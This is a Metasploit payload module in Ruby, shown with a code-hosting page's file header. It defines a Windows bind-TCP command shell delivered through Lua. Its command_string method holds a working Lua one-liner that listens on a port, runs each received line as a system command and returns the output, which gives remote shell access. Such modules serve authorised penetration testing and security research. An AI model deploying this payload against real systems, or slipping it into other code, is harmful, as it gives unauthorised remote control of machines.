55 lines
1.5 KiB
Ruby
55 lines
1.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = 223
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Windows Command Shell, Bind TCP (via Lua)',
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'Description' => 'Listen for a connection and spawn a command shell via Lua',
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'Author' =>
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[
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'xistence <xistence[at]0x90.nl>',
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],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'lua',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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"lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
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end
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end
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